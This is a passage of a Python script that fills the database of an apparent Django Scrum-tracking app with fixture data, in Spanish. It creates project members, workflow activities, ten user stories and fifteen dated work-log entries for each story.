us',] #rolMiembro2.save() #rolMiembro3.permissions=['Can add us','Can add miembro','Can add rol','Can change rol','Can add sprint', 'Can add flujo','Can change flujo', 'Can add actividad', # 'Can change actividad', 'Can add registro trabajo us',] #rolMiembro3.save() miembro5 =Miembro(rol=develop, proyecto=proyecto3,usuario=usuario1,horas_por_dia=4) miembro5.save() miembro222 = Miembro(rol=develop,proyecto=proyecto3,usuario=usuario3,horas_por_dia=5) miembro222.save() miembro333 = Miembro(rol=develop, proyecto=proyecto3,usuario=usuario4,horas_por_dia=4) miembro333.save() actividad1=Actividad(nombre='Analisis',orden=1,flujo=flujo3) actividad1.save() actividad2=Actividad(nombre='Disenho',orden=2,flujo=flujo3) actividad2.save() actividad3=Actividad(nombre='Desarrollo',orden=3,flujo=flujo3) actividad3.save() actividad4=Actividad(nombre='Mantenimiento',orden=1,flujo=flujo4) actividad4.save() actividad5=Actividad(nombre='Post-Desarrollo',orden=2,flujo=flujo4) actividad5.save() actividad6=Actividad(nombre='Mantenimiento.',orden=2,flujo=flujo5) actividad6.save() #us1 = us(nombre='US5 para el proyecto 2',valor_de_negocio= 5, prioridad= 5, valor_tecnico= 5, descripcion='vacio', # duracion_horas=10, duracion_horas_en_sprint=10,sprint=sprint4, responsable=miembro33, proyecto=proyecto2, # estado='TODO', actividad=actividad1,flujo=flujo2,estado_de_aprobacion='OK') #us1.save() #us2 = us(nombre='US6 para el proyecto 2',valor_de_negocio= 5, prioridad= 5, valor_tecnico= 5, descripcion='vacio', # duracion_horas=10, duracion_horas_en_sprint=10,sprint=sprint4, responsable=miembro22, proyecto=proyecto2, # estado='TODO', actividad=actividad4,flujo=flujo5,estado_de_aprobacion='OK') #us2.save() #US DEL PROYECTO GAMMA us1p3 = us(nombre='US1 para el proyecto 3', proyecto=proyecto3,valor_de_negocio= 5, prioridad= 10, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=40,estado='DONE',actividad=actividad3,sprint=sprint5,flujo=flujo3, responsable=miembro333, estado_de_aprobacion='FIN') us1p3.save() us2p3 = us(nombre='US2 para el proyecto 3', proyecto=proyecto3,valor_de_negocio= 5, prioridad= 15, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=60,estado='DONE',actividad=actividad5,sprint=sprint5,flujo=flujo4,responsable=miembro5, estado_de_aprobacion='FIN') us2p3.save() us3p3 = us(nombre='US3 para el proyecto 3', proyecto=proyecto3,valor_de_negocio= 5, prioridad= 25, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=45,estado='DONE',actividad=actividad3,sprint=sprint5,flujo=flujo3, responsable=miembro222, estado_de_aprobacion='FIN') us3p3.save() us4p3 = us(nombre='US4 para el proyecto 3', proyecto=proyecto3,valor_de_negocio= 5, prioridad= 35, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=35,estado='DONE',actividad=actividad5,sprint=sprint6,flujo=flujo4, responsable=miembro222, estado_de_aprobacion='FIN') us4p3.save() us5p3 = us(nombre='US5 para el proyecto 3', proyecto=proyecto3,valor_de_negocio= 5, prioridad= 40, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=25,estado='DONE',actividad=actividad3,sprint=sprint5,flujo=flujo3,responsable=miembro333, estado_de_aprobacion='FIN') us5p3.save() us6p3 = us(nombre='US6 para el proyecto 3', proyecto=proyecto3,valor_de_negocio= 5, prioridad= 55, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=28,estado='DONE',actividad=actividad5,sprint=sprint6,flujo=flujo4, responsable=miembro333, estado_de_aprobacion='FIN') us6p3.save() us7p3 = us(nombre='US7 para el proyecto 3', proyecto=proyecto3,valor_de_negocio= 5, prioridad= 75, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=50,estado='DONE',actividad=actividad3,sprint=sprint5,flujo=flujo3, responsable=miembro5, estado_de_aprobacion='FIN') us7p3.save() us8p3 = us(nombre='US8 para el proyecto 3', proyecto=proyecto3,valor_de_negocio= 5, prioridad= 85, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=30,estado='DONE',actividad=actividad5,sprint=sprint6,flujo=flujo4,responsable=miembro5, estado_de_aprobacion='FIN') us8p3.save() us9p3 = us(nombre='US9 para el proyecto 3', proyecto=proyecto3,valor_de_negocio= 5, prioridad= 90, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=35,estado='DONE',actividad=actividad3,sprint=sprint5,flujo=flujo3, responsable=miembro333, estado_de_aprobacion='FIN') us9p3.save() us10p3 = us(nombre='US10 para el proyecto 3', proyecto=proyecto3,valor_de_negocio= 5, prioridad= 80, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=60,estado='DONE',actividad=actividad5,sprint=sprint6,flujo=flujo4, responsable=miembro222, estado_de_aprobacion='FIN') us10p3.save() reg1= registroTrabajoUs(us=us1p3, descripcion='primer registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-10 16:30',archivo_adjunto=None) reg1.save() reg2= registroTrabajoUs(us=us1p3, descripcion='segundo registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-11 16:30',archivo_adjunto=None) reg2.save() reg3= registroTrabajoUs(us=us1p3, descripcion='tercer registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-12 16:30',archivo_adjunto=None) reg3.save() reg4= registroTrabajoUs(us=us1p3, descripcion='cuarto registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-13 16:30',archivo_adjunto=None) reg4.save() reg5= registroTrabajoUs(us=us1p3, descripcion='quinto registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-16 16:30',archivo_adjunto=None) reg5.save() reg6= registroTrabajoUs(us=us1p3, descripcion='sexto registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-17 16:30',archivo_adjunto=None) reg6.save() reg7= registroTrabajoUs(us=us1p3, descripcion='septimo registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-18 16:30',archivo_adjunto=None) reg7.save() reg8= registroTrabajoUs(us=us1p3, descripcion='octavo registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-19 16:30',archivo_adjunto=None) reg8.save() reg9= registroTrabajoUs(us=us1p3, descripcion='noveno registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-20 16:30',archivo_adjunto=None) reg9.save() reg10= registroTrabajoUs(us=us1p3, descripcion='decimo registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-21 16:30',archivo_adjunto=None) reg10.save() reg11= registroTrabajoUs(us=us1p3, descripcion='decimo 1er registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-22 16:30',archivo_adjunto=None) reg11.save() reg12= registroTrabajoUs(us=us1p3, descripcion='decimo 2do registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-23 16:30',archivo_adjunto=None) reg12.save() reg13= registroTrabajoUs(us=us1p3, descripcion='decimo 3er registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-24 16:30',archivo_adjunto=None) reg13.save() reg14= registroTrabajoUs(us=us1p3, descripcion='decimo cuarto registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-25 16:30',archivo_adjunto=None) reg14.save() reg15= registroTrabajoUs(us=us1p3, descripcion='decimo quinto registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-26 16:30',archivo_adjunto=None) reg15.save() reg1= registroTrabajoUs(us=us2p3, descripcion='primer registro', horas_dedicadas=8, fecha_hora_creacion='2015-5-10 16:30',archivo_adjunto=None) reg1.save() reg2= registroTrabajoUs(us=us2p3, descripcion='segundo registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-11 16:30',archivo_adjunto=None) reg2.save() reg3= registroTrabajoUs(us=us2p3, descripcion='tercer registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-12 16:30',archivo_adjunto=None) reg3.save() reg4= registroTrabajoUs(us=us2p3, descripcion='cuarto registro', horas_dedicadas=8, fecha_hora_creacion='2015-5-13 16:30',archivo_adjunto=None) reg4.save() reg5= registroTrabajoUs(us=us2p3, descripcion='quinto registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-16 16:30',archivo_adjunto=None) reg5.save() reg6= registroTrabajoUs(us=us2p3, descripcion='sexto registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-17 16:30',archivo_adjunto=None) reg6.save() reg7= registroTrabajoUs(us=us2p3, descripcion='septimo registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-18 16:30',archivo_adjunto=None) reg7.save() reg8= registroTrabajoUs(us=us2p3, descripcion='octavo registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-19 16:30',archivo_adjunto=None) reg8.save() reg9= registroTrabajoUs(us=us2p3, descripcion='noveno registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-20 16:30',archivo_adjunto=None) reg9.save() reg10= registroTrabajoUs(us=us2p3, descripcion='decimo registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-21 16:30',archivo_adjunto=None) reg10.save() reg11= registroTrabajoUs(us=us2p3, descripcion='decimo 1er registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-22 16:30',archivo_adjunto=None) reg11.save() reg12= registroTrabajoUs(us=us2p3, descripcion='decimo 2do registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-23 16:30',archivo_adjunto=None) reg12.save() reg13= registroTrabajoUs(us=us2p3, descripcion='decimo 3er registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-24 16:30',archivo_adjunto=None) reg13.save() reg14= registroTrabajoUs(us=us2p3, descripcion='decimo cuarto registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-25 16:30',archivo_adjunto=None) reg14.save() reg15= registroTrabajoUs(us=us2p3, descripcion='decimo quinto registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-26 16:30',archivo_adjunto=None) reg15.save() reg1= registroTrabajoUs(us=us3p3, descripcion='primer registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-10 16:30',archivo_adjunto=None) reg1.save() reg2= registroTrabajoUs(us=us3p3, descripcion='segundo registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-11 16:30',archivo_adjunto=None) reg2.save() reg3= registroTrabajoUs(us=us3p3, descripcion='tercer registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-12 16:30',archivo_adjunto=None) reg3.save() reg4= registroTrabajoUs(us=us3p3, descripcion='cuarto registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-13 16:30',archivo_adjunto=None) reg4.save() reg5= registroTrabajoUs(us=us3p3, descripcion='quinto registro', horas_dedicadas=7, fecha_hora_creacion='2015-5-16 16:30',archivo_adjunto=None) reg5.save() reg6= registroTrabajoUs(us=us3p3, descripcion='sexto registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-17 16:30',archivo_adjunto=None) reg6.save() reg7= registroTrabajoUs(us=us3p3, descripcion='septimo registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-18 16:30',archivo_adjunto=None) reg7.save() reg8= registroTrabajoUs(us=us3p3, descripcion='octavo registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-19 16:30',archivo_adjunto=None) reg8.save() reg9= registroTrabajoUs(us=us3p3, descripcion='noveno registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-20 16:30',archivo_adjunto=None) reg9.save() reg10= registroTrabajoUs(us=us3p3, descripcion='decimo registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-21 16:30',archivo_adjunto=None) reg10.save() reg11= registroTrabajoUs(us=us3p3, descripcion='decimo 1er registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-22 16:30',archivo_adjunto=None) reg11.save() reg12= registroTrabajoUs(us=us3p3, descripcion='decimo 2do registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-23 16:30',archivo_adjunto=None) reg12.save() reg13= registroTrabajoUs(us=us3p3, descripcion='decimo 3er registro', horas_dedicadas=0, fecha_hora_creacion='2015-5-24 16:30',archivo_adjunto=None) reg13.save() reg14= registroTrabajoUs(us=us3p3, descripcion='decimo cuarto registro', horas_dedicadas=0, fecha_hora_creacion='2015-5-25 16:30',archivo_adjunto=None) reg14.save() reg15= registroTrabajoUs(us=us3p3, descripcion='decimo quinto registro', horas_dedicadas=0, fecha_hora_creacion='2015-5-26 16:30',archivo_adjunto=None) reg15.save() reg1= registroTrabajoUs(us=us4p3, descripcion='primer registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-10 16:30',archivo_adjunto=None) reg1.save() reg2= registroTrabajoUs(us=us4p3, descripcion='segundo registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-11 16:30',archivo_adjunto=None) reg2.save() reg3= registroTrabajoUs(us=us4p3, descripcion='tercer registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-12 16:30',archivo_adjunto=None) reg3.save() reg4= registroTrabajoUs(us=us4p3, descripcion='cuarto registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-13 16:30',archivo_adjunto=None) reg4.save() reg5= registroTrabajoUs(us=us4p3, descripcion='quinto registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-16 16:30',archivo_adjunto=None) reg5.save() reg6= registroTrabajoUs(us=us4p3, descripcion='sexto registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-17 16:30',archivo_adjunto=None) reg6.save() reg7= registroTrabajoUs(us=us4p3, descripcion='septimo registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-18 16:30',archivo_adjunto=None) reg7.save() reg8= registroTrabajoUs(us=us4p3, descripcion='octavo registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-19 16:30',archivo_adjunto=None) reg8.save() reg9= registroTrabajoUs(us=us4p3, descripcion='noveno registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-20 16:30',archivo_adjunto=None) reg9.save() reg10= registroTrabajoUs(us=us4p3, descripcion='decimo registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-21 16:30',archivo_adjunto=None) reg10.save() reg11= registroTrabajoUs(us=us4p3, descripcion='decimo 1er registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-22 16:30',archivo_adjunto=None) reg11.save() reg12= registroTrabajoUs(us=us4p3, descripcion='decimo 2do registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-23 16:30',archivo_adjunto=None) reg12.save() reg13= registroTrabajoUs(us=us4p3, descripcion='decimo 3er registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-24 16:30',archivo_adjunto=None) reg13.save() reg14= registroTrabajoUs(us=us4p3, descripcion='decimo cuarto registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-25 16:30',archivo_adjunto=None) reg14.save() reg15= registroTrabajoUs(us=us4p3, descripcion='decimo quinto registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-26 16:30',archivo_adjunto=None) reg15.save() reg1= registroTrabajoUs(us=us5p3, descripcion='primer registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-10 16:30',archivo_adjunto=None) reg1.save() reg2= registroTrabajoUs(us=us5p3, descripcion='segundo registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-11 16:30',archivo_adjunto=None) reg2.save() reg3= registroTrabajoUs(us=us5p3, descripcion='tercer registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-12 16:30',archivo_adjunto=None) reg3.save() reg4= registroTrabajoUs(us=us5p3, descripcion='cuarto registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-13 16:30',archivo_adjunto=None) reg4.save() reg5= registroTrabajoUs(us=us5p3, descripcion='quinto registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-16 16:30',archivo_adjunto=None) reg5.save() reg6= registroTrabajoUs(us=us5p3, descripcion='sexto registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-17 16:30',archivo_adjunto=None) reg6.save() reg7= registroTrabajoUs(us=us5p3, descripcion='septimo registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-18 16:30',archivo_adjunto=None) reg7.save() reg8= registroTrabajoUs(us=us5p3, descripcion='octavo registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-19 16:30',archivo_adjunto=None) reg8.save() reg9= registroTrabajoUs(us=us5p3, descripcion='noveno registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-20 16:30',archivo_adjunto=None) reg9.save() reg10= registroTrabajoUs(us=us5p3, descripcion='decimo registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-21 16:30',archivo_adjunto=None) reg10.save() reg11= registroTrabajoUs(us=us5p3, descripcion='decimo 1er registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-22 16:30',archivo_adjunto=None) reg11.save() reg12= registroTrabajoUs(us=us5p3, descripcion='decimo 2do registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-23 16:30',archivo_adjunto=None) reg12.save() reg13= registroTrabajoUs(us=us5p3, descripcion='decimo 3er registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-24 16:30',archivo_adjunto=None) reg13.save() reg14= registroTrabajoUs(us=us5p3, descripcion='decimo cuarto registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-25 16:30',archivo_adjunto=None) reg14.save() reg15= registroTrabajoUs(us=us5p3, descripcion='decimo quinto registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-26 16:30',archivo_adjunto=None) reg15.save() reg1= registroTrabajoUs(us=us6p3, descripcion='primer registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-10 16:30',archivo_adjunto=None) reg1.save() reg2= registroTrabajoUs(us=us6p3, descripcion='segundo registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-11 16:30',archivo_adjunto=None) reg2.save() reg3= registroTrabajoUs(us=us6p3, descripcion='tercer registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-12 16:30',archivo_adjunto=None) reg3.save() reg4= registroTrabajoUs(us=us6p3, descripcion='cuarto registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-13 16:30',archivo_adjunto=None) reg4.save() reg5= registroTrabajoUs(us=us6p3, descripcion='quinto registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-16 16:30',archivo_adjunto=None) reg5.save() reg6= registroTrabajoUs(us=us6p3, descripcion='sexto registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-17 16:30',archivo_adjunto=None) reg6.save() reg7= registroTrabajoUs(us=us6p3, descripcion='septimo registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-18 16:30',archivo_adjunto=None) reg7.save() reg8= registroTrabajoUs(us=us6p3, descripcion='octavo registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-19 16:30',archivo_adjunto=None) reg8.save() reg9= registroTrabajoUs(us=us6p3, descripcion='noveno registro', horas_dedicadas=0, fecha_hora_creacion='2015-5-20 16:30',archivo_adjunto=None) reg9.save() reg10= registroTrabajoUs(us=us6p3, descripcion='decimo registro', horas_dedicadas=0, fecha_hora_creacion='2015-5-21 16:30',archivo_adjunto=None) reg10.save() reg11= registroTrabajoUs(us=us6p3, descripcion='decimo 1er registro', horas_dedicadas=0, fecha_hora_creacion='2015-5-22 16:30',archivo_adjunto=None) reg11.save() reg12= registroTrabajoUs(us=us6p3, descripcion='decimo 2do registro', horas_dedicadas=0, fecha_hora_creacion='2015-5-23 16:30',archivo_adjunto=None) reg12.save() reg13= registroTrabajoUs(us=us6p3, descripcion='decimo 3er registro', horas_dedicadas=0, fecha_hora_creacion='2015-5-24 16:30',archivo_adjunto=None) reg13.save() reg14= registroTrabajoUs(us=us6p3, descripcion='decimo cuarto registro', horas_dedicadas=0, fecha_hora_creacion='2015-5-25 16:30',archivo_adjunto=None) reg14.save() reg15= registroTrabajoUs(us=us6p3, descripcion='decimo quinto registro', horas_dedicadas=0, fecha_hora_creacion='2015-5-26 16:30',archivo_adjunto=None) reg15.save() reg1= registroTrabajoUs(us=us7p3, descripcion='primer registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-10 16:30',archivo_adjunto=None) reg1.save() reg2= registroTrabajoUs(us=us7p3, descripcion='segundo registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-11 16:30',archivo_adjunto=None) reg2.save() reg3= registroTrabajoUs(us=us7p3, descripcion='tercer registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-12 16:30',archivo_adjunto=None) reg3.save() reg4= registroTrabajoUs(us=us7p3, descripcion='cuarto registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-13 16:30',archivo_adjunto=None) reg4.save() reg5= registroTrabajoUs(us=us7p3, descripcion='quinto registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-16 16:30',archivo_adjunto=None) reg5.save() reg6= registroTrabajoUs(us=us7p3, descripcion='sexto registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-17 16:30',archivo_adjunto=None) reg6.save() reg7= registroTrabajoUs(us=us7p3, descripcion='septimo registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-18 16:30',archivo_adjunto=None) reg7.save() reg8= registroTrabajoUs(us=us7p3, descripcion='octavo registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-19 16:30',archivo_adjunto=None) reg8.save() reg9= registroTrabajoUs(us=us7p3, descripcion='noveno registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-20 16:30',archivo_adjunto=None) reg9.save() reg10= registroTrabajoUs(us=us7p3, descripcion='decimo registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-21 16:30',archivo_adjunto=None) reg10.save() reg11= registroTrabajoUs(us=us7p3, descripcion='decimo 1er registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-22 16:30',archivo_adjunto=None) reg11.save() reg12= registroTrabajoUs(us=us7p3, descripcion='decimo 2do registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-23 16:30',archivo_adjunto=None) reg12.save() reg13= registroTrabajoUs(us=us7p3, descripcion='decimo 3er registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-24 16:30',archivo_adjunto=None) reg13.save() reg14= registroTrabajoUs(us=us7p3, descripcion='decimo cuarto registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-25 16:30',archivo_adjunto=None) reg14.save() reg15= registroTrabajoUs(us=us7p3, descripcion='decimo quinto registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-26 16:30',archivo_adjunto=None) reg15.save() reg1= registroTrabajoUs(us=us8p3, descripcion='primer registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-10 16:30',archivo_adjunto=None) reg1.save() reg2= registroTrabajoUs(us=us8p3, descripcion='segundo registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-11 16:30',archivo_adjunto=None) reg2.save() reg3= registroTrabajoUs(us=us8p3, descripcion='tercer registro', horas_dedicadas=0, fecha_hora_creacion='2015-5-12 16:30',archivo_adjunto=None) reg3.save() reg4= registroTrabajoUs(us=us8p3, descripcion='cuarto registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-13 16:30',archivo_adjunto=None) reg4.save() reg5= registroTrabajoUs(us=us8p3, descripcion='quinto registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-16 16:30',archivo_adjunto=None) reg5.save() reg6= registroTrabajoUs(us=us8p3, descripcion='sexto registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-17 16:30',archivo_adjunto=None) reg6.save() reg7= registroTrabajoUs(us=us8p3, descripcion='septimo registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-18 16:30',archivo_adjunto=None) reg7.save() reg8= registroTrabajoUs(us=us8p3, descripcion='octavo registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-19 16:30',archivo_adjunto=None) reg8.save() reg9= registroTrabajoUs(us=us8p3, descripcion='noveno registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-20 16:30',archivo_adjunto=None) reg9.save() reg10= registroTrabajoUs(us=us8p3, descripcion='decimo registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-21 16:30',archivo_adjunto=None) reg10.save() reg11= registroTrabajoUs(us=us8p3, descripcion='decimo 1er registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-22 16:30',archivo_adjunto=None) reg11.save() reg12= registroTrabajoUs(us=us8p3, descripcion='decimo 2do registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-23 16:30',archivo_adjunto=None) reg12.save() reg13= registroTrabajoUs(us=us8p3, descripcion='decimo 3er registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-24 16:30',archivo_adjunto=None) reg13.save() reg14= registroTrabajoUs(us=us8p3, descripcion='decimo cuarto registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-25 16:30',archivo_adjunto=None) reg14.save() reg15= registroTrabajoUs(us=us8p3, descripcion='decimo quinto registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-26 16:30',archivo_adjunto=None) reg15.save() reg1= registroTrabajoUs(us=us9p3, descripcion='primer registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-10 16:30',archivo_adjunto=None) reg1.save() reg2= registroTrabajoUs(us=us9p3, descripcion='segundo registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-11 16:30',archivo_adjunto=None) reg2.save() reg3= registroTrabajoUs(us=us9p3, descripcion='tercer registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-12 16:30',archivo_adjunto=None) reg3.save() reg4= registroTrabajoUs(us=us9p3, descripcion='cuarto registro', horas_dedicadas=8, fecha_hora_creacion='2015-5-13 16:30',archivo_adjunto=None) reg4.save() reg5= registroTrabajoUs(us=us9p3, descripcion='quinto registro', horas_dedicadas=8, fecha_hora_creacion='2015-5-16 16:30',archivo_adjunto=None) reg5.save() reg6= registroTrabajoUs(us=us9p3, descripcion='sexto registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-17 16:30',archivo_adjunto=None) reg6.save() reg7= registroTrabajoUs(us=us9p3, descripcion='septimo registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-18 16:30',archivo_adjunto=None) reg7.save() reg8= registroTrabajoUs(us=us9p3, descripcion='octavo registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-19 16:30',archivo_adjunto=None) reg8.save() reg9= registroTrabajoUs(us=us9p3, descripcion='noveno registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-20 16:30',archivo_adjunto=None) reg9.save() reg10= registroTrabajoUs(us=us9p3, descripcion='decimo registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-21 16:30',archivo_adjunto=None) reg10.save() reg11= registroTrabajoUs(us=us9p3, descripcion='decimo 1er registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-22 16:30',archivo_adjunto=None) reg11.save() reg12= registroTrabajoUs(us=us9p3, descripcion='decimo 2do registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-23 16:30',archivo_adjunto=None) reg12.save() reg13= registroTrabajoUs(us=us9p3, descripcion='decimo 3er registro', horas_dedicadas=8, fecha_hora_creacion='2015-5-24 16:30',archivo_adjunto=None) reg13.save() reg14= registroTrabajoUs(us=us9p3, descripcion='decimo cuarto registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-25 16:30',archivo_adjunto=None) reg14.save() reg15= registroTrabajoUs(us=us9p3, descripcion='decimo quinto registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-26 16:30',archivo_adjunto=None) reg15.save() reg1= registroTrabajoUs(us=us10p3, descripcion='primer registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-10 16:30',archivo_adjunto=None) reg1.save() reg2= registroTrabajoUs(us=us10p3, descripcion='segundo registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-11 16:30',archivo_adjunto=None) reg2.save() reg3= registroTrabajoUs(us=us10p3, descripcion='tercer registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-12 16:30',archivo_adjunto=None) reg3.save() reg4= registroTrabajoUs(us=us10p3, descripcion='cuarto registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-13 16:30',archivo_adjunto=None) reg4.save() reg5= registroTrabajoUs(us=us10p3, descripcion='quinto registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-16 16:30',archivo_adjunto=None) reg5.save() reg6= registroTrabajoUs(us=us10p3, descripcion='sexto registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-17 16:30',archivo_adjunto=None) reg6.save() reg7= registroTrabajoUs(us=us10p3, descripcion='septimo registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-18 16:30',archivo_adjunto=None) reg7.save() reg8= registroTrabajoUs(us=us10p3, descripcion='octavo registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-19 16:30',archivo_adjunto=None) reg8.save() reg9= registroTrabajoUs(us=us10p3, descripcion='noveno registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-20 16:30',archivo_adjunto=None) reg9.save() reg10= registroTrabajoUs(us=us10p3, descripcion='decimo registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-21 16:30',archivo_adjunto=None) reg10.save() reg11= registroTrabajoUs(us=us10p3, descripcion='decimo 1er registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-22 16:30',archivo_adjunto=None) reg11.save() reg12= registroTrabajoUs(us=us10p3, descripcion='decimo 2do registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-23 16:30',archivo_adjunto=None) reg12.save() reg13= registroTrabajoUs(us=us10p3, descripcion='decimo 3er registro', horas_dedicadas=7, fecha_hora_creacion='2015-5-24 16:30',archivo_adjunto=None) reg13.save() reg14= registroTrabajoUs(us=us10p3, descripcion='decimo cuarto registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-25 16:30',archivo_adjunto=None) reg14.save() reg15= registroTrabajoUs(us=us10p3, descripcion='decimo quinto registro', horas_dedicadas=2, fecha_hora_creacion='2015-5-26 16:30',archivo_adjunto=None) reg15.save() #miembro55 =Miembro(rol=develop, 